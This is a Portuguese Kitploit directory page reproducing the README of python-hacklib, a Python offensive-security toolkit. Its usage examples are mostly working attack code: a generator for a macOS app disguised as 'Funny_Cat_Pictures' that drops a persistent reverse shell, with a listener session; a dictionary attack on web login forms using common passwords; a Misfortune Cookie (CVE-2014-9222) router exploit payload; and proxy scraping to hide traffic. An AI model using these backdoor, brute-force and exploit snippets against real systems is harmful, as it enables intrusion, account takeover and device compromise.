Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
python-hacklib — hacklib - testes de penetração, varredura de portas e login em qualquer lugar com Python | Kitploit
Ferramentas/GitHubGitHub/lazorfuzz/python-hacklib
ReconhecimentoAtaques de SenhaEscaneamento de PortasExploraçãoColeta de InformaçõesTestes de PenetraçãoDesenvolvimento de Payloads
GitHublazorfuzz/python-hacklib

python-hacklib

hacklib - testes de penetração, varredura de portas e login em qualquer lugar com Python

Ver Repositório
10130há 6 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

hacklib

MIT License Python 2.6|2.7

Kit para entusiastas de hacking usando Python.

hacklib é um módulo Python para entusiastas de hacking interessados em segurança de rede. Não está mais em desenvolvimento ativo.

Instalação

Para obter hacklib, basta executar na linha de comando:

root@kitploit:~
pip install hacklib

hacklib também possui uma interface de usuário. Para usá-la, você pode fazer uma das seguintes opções:

Baixe hacklib.py e execute no console:

root@kitploit:~
python hacklib.py
----------------------------------------------
Hey. What can I do you for?


Enter the number corresponding to your choice.

1) Connect to a proxy
2) Target an IP or URL
3) Lan Scan
4) Create Backdoor
5) Server
6) Exit

Ou se você o obteve usando pip:

root@kitploit:~
import hacklib
hacklib.userInterface()

Exemplos de Uso

Backdoor de shell reverso (Atualmente apenas para Macs):

root@kitploit:~
import hacklib

bd = hacklib.Backdoor()
# Generates an app that, when ran, drops a persistent reverse shell into the system.
bd.create('127.0.0.1', 9090, 'OSX', 'Funny_Cat_Pictures')
# Takes the IP and port of the command server, the OS of the target, and the name of the .app

Aplicativo gerado:

Screenshot

Ouça por conexões com Server:

root@kitploit:~
>>> import hacklib
>>> s = hacklib.Server(9090) # Bind server to port 9090
>>> s.listen() 
New connection ('127.0.0.1', 50011) # Target ran the app (connection retried every 60 seconds)
bash: no job control in this shell
bash$ whoami # Type a command
leon
bash$ # Nice!

Cliente de login universal para quase todos os logins baseados em formulário HTTP/HTTPS e logins HTTP Basic Authentication:

root@kitploit:~
import hacklib

ac = hacklib.AuthClient()
# Logging into a gmail account
htmldata = ac.login('https://gmail.com', 'email', 'password')

# Check for a string in the resulting page
if 'Inbox' in htmldata: print 'Login Success.'
else: print 'Login Failed.'

# For logins using HTTP Basic Auth:
try: 
    htmldata = ac.login('http://somewebsite.com', 'admin', 'password')
except: pass #login failed

Ataque de dicionário simples usando AuthClient:

root@kitploit:~
import hacklib

ac = hacklib.AuthClient()
# Get the top 100 most common passwords
passwords = hacklib.topPasswords(100)

for p in passwords:
    htmldata = ac.login('http://yourwebsite.com/login', 'admin', p)
    if htmldata and 'welcome' in htmldata.lower():
        print 'Password is', p
        break

Varredura de portas:

root@kitploit:~
from hacklib import *

ps = PortScanner()
ps.scan(getIP('yourwebsite.com'))
# By default scans the first 1024 ports. Use ps.scan(IP, port_range=(n1, n2), timeout=i) to change default

# After a scan, open ports are saved within ps for reference
if ps.portOpen(80):
    # Establish a TCP stream and sends a message
    send(getIP('yourwebsite.com'), 80, message='GET / HTTP/1.0\r\n\r\n')

Exploit Misfortune Cookie (CVE-2014-9222) usando PortScanner:

root@kitploit:~
>>> import hacklib

# Discovery
>>> ps = hacklib.PortScanner()
>>> ps.scan('192.168.1.1', (80, 81))
Port 80:
HTTP/1.1 200
Content-Type: text/html
Transfer-Encoding: chunked
Server: RomPager/4.07 UPnP/1.0
EXT:
# The banner for port 80 shows us that the server uses RomPager 4.07. This version is exploitable.

# Exploitation
>>> payload = '''GET / HTTP/1.0\r\n
Host: 192.168.1.1
User-Agent: googlebot
Accept: text/html, application/xhtml+xml, application/xml; q=09, */*; q=0.8
Accept-Language: en-US, en; q=0.5
Accept-Encoding: gzip, deflate
Cookie: C107351277=BBBBBBBBBBBBBBBBBBBB\x00''' + '\r\n\r\n'
>>> hacklib.send('192.168.1.1', 80, payload)
# The cookie replaced the firmware's memory allocation for web authentication with a null bye.
# The router's admin page is now fully accessible from any web browser.

Autenticação FTP:

root@kitploit:~
import hacklib
ftp = hacklib.FTPAuth('127.0.0.1', 21)
try:
    ftp.login('username', 'password')
except:
    print 'Login failed.'

Coleta e tunelamento de proxy Socks4/5

root@kitploit:~
>>> import hacklib
>>> import urllib2
>>> proxylist = hacklib.getProxies() # scrape recently added socks proxies from the internet
>>> proxy = hacklib.Proxy()
>>> proxy.connect(proxylist) # automatically find and connect to a working proxy in proxylist
>>> proxy.IP
u'41.203.214.58'
>>> proxy.port
65000
>>> proxy.country
u'KE'
# All Python network activity across all modules are routed through the proxy:
>>> urllib2.urlopen('http://icanhazip.com/').read() 
'41.203.214.58\n'
# Notes: Only network activity via Python are masked by the proxy.
# Network activity on other programs such as your webbrowser remain unmasked.
# To filter proxies by country and type:
# proxylist = hacklib.getProxies(country_filter = ('RU', 'CA', 'SE'), proxy_type='Socks5')

Mangling de palavras:

root@kitploit:~
from hacklib import *

word = Mangle("Test", 0, 10, 1990, 2016)

word.Leet()
word.Numbers()
word.Years()

Saída:

root@kitploit:~
T3$t
Test0
0Test
...snip...
Test10
10Test
Test1990
1990Test
...snip...
Test2016
2016Test

Criação de Padrão:

root@kitploit:~
from hacklib import *

Pattern = PatternCreate(100)

Pattern.generate()

Saída:

root@kitploit:~
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A

Offset de Padrão:

root@kitploit:~
from hacklib import *

Offset = PatternOffset("6Ab7")

Offset.find()

Saída:

root@kitploit:~
[+] Offset: 50

Dependências

Nem todas as classes têm dependências externas, mas apenas por precaução você pode fazer o seguinte:

root@kitploit:~
hacklib.installDependencies()
Baixar ferramenta